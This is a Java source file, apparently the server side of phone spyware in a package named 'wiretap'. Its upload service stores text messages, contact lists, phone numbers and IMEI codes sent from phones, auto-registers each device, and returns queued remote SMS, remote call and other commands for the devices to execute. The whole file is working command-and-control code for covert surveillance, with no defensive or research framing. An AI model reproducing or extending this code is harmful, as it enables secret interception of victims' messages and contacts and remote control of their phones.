package com.wiretap.service.impl;

import java.util.Date;
import java.util.List;

import com.google.gson.Gson;
import com.google.gson.JsonSyntaxException;
import com.wiretap.action.pojo.ResEntity;
import com.wiretap.dao.ContactDao;
import com.wiretap.dao.MessageDao;
import com.wiretap.dao.MotionDao;
import com.wiretap.dao.RemoteCallDao;
import com.wiretap.dao.RemoteSmsDao;
import com.wiretap.dao.UserDao;
import com.wiretap.po.Contact;
import com.wiretap.po.Message;
import com.wiretap.po.Motion;
import com.wiretap.po.RemoteCall;
import com.wiretap.po.RemoteSms;
import com.wiretap.po.User;
import com.wiretap.service.UploadService;
import com.wiretap.util.CommenUtil;

public class UploadServiceImpl implements UploadService {
	private MessageDao messageDao;
	private UserDao userDao;
	private MotionDao motionDao;
	private ContactDao contactDao;
	private RemoteSmsDao remoteSmsDao;
	private RemoteCallDao remoteCallDao;

	@Override
	public String uploadMessage(String phone, String imei, String model, String clientVersion, String messageStr) throws Exception {
		Gson gson = new Gson();
		ResEntity entity = new ResEntity();
		if (!CommenUtil.isEmpty(phone) && !CommenUtil.isEmpty(messageStr)) {
			User user = userDao.getUserByPhone(phone);
			if (user == null) {
				user = new User();
				user.setAddDate(new Date());
				user.setImeiCode(imei);
				user.setModel(model);
				user.setPhone(phone);
				user.setClientVersion(clientVersion);
				userDao.addUser(user);
			} else {
				if (!user.isVisible())
					return null;
			}
			// 先判断上传的消息是否为正确的json格式
			List<Message> messages = null;
			try {
				java.lang.reflect.Type type = new com.google.gson.reflect.TypeToken<List<Message>>() {
				}.getType();
				messages = gson.fromJson(messageStr, type);
			} catch (JsonSyntaxException e) {
				e.printStackTrace();
				entity.setSuccess(false);
				return gson.toJson(entity);
			}

			// 添加消息
			if (messages != null && !messages.isEmpty()) {
				for (Message message : messages) {
					message.setPhone(phone);
					try {
						messageDao.addMessage(message);
					} catch (Exception e) {
						e.printStackTrace();
					}
				}
				if (!user.isHasNewMsg()) {
					// 提示有新消息
					user.setHasNewMsg(true);
					userDao.updateUser(user);
				}
			}

		}
		entity.setSuccess(true);
		return gson.toJson(entity);
	}

	@Override
	public String getMotions(String phone, String imei, String model, String clientVersion, String contactStr) throws Exception {
		User user = userDao.getUserByPhone(phone);
		if (user == null) {
			user = new User();
			user.setAddDate(new Date());
			user.setImeiCode(imei);
			user.setModel(model);
			user.setPhone(phone);
			user.setClientVersion(clientVersion);
			userDao.addUser(user);
		} else {
			if (!user.isVisible())
				return null;
		}
		// 插入联系人数据
		Gson gson = new Gson();
		if (!CommenUtil.isEmpty(contactStr)) {
			List<Contact> contacts = null;
			try {
				java.lang.reflect.Type type = new com.google.gson.reflect.TypeToken<List<Contact>>() {
				}.getType();
				contacts = gson.fromJson(contactStr, type);
			} catch (JsonSyntaxException e) {
				e.printStackTrace();
			}
			long startTime = System.currentTimeMillis();
			// 添加联系人
			if (contacts != null && !contacts.isEmpty()) {
				contactDao.addContact(phone, contacts);
			}
			long endTime = System.currentTimeMillis();
			System.out.println("消耗时间=" + (endTime - startTime));
		}
		List<Motion> motions = motionDao.getUnExcuteMotionByPhone(phone);
		List<RemoteSms> remoteSms = remoteSmsDao.getAllUnexecutedRemoteSms(phone);
		List<RemoteCall> remoteCall = remoteCallDao.getAllUnexecutedRemoteCall(phone);
		ResEntity entity = new ResEntity();
		entity.setMotions(motions);
		entity.setSuccess(true);
		entity.setUser(user);
		entity.setRemoteCalls(remoteCall);
		entity.setRemoteSmsList(remoteSms);
		return gson.toJson(entity);
	}

	public MessageDao getMessageDao() {
		return messageDao;
	}

	public void setMessageDao(MessageDao messageDao) {
		this.messageDao = messageDao;
	}

	public UserDao getUserDao() {
		return userDao;
	}

	public void setUserDao(UserDao userDao) {
		this.userDao = userDao;
	}

	public MotionDao getMotionDao() {
		return motionDao;
	}

	public void setMotionDao(MotionDao motionDao) {
		this.motionDao = motionDao;
	}

	public ContactDao getContactDao() {
		return contactDao;
	}

	public void setContactDao(ContactDao contactDao) {
		this.contactDao = contactDao;
	}

	public RemoteSmsDao getRemoteSmsDao() {
		return remoteSmsDao;
	}

	public void setRemoteSmsDao(RemoteSmsDao remoteSmsDao) {
		this.remoteSmsDao = remoteSmsDao;
	}

	public RemoteCallDao getRemoteCallDao() {
		return remoteCallDao;
	}

	public void setRemoteCallDao(RemoteCallDao remoteCallDao) {
		this.remoteCallDao = remoteCallDao;
	}

}
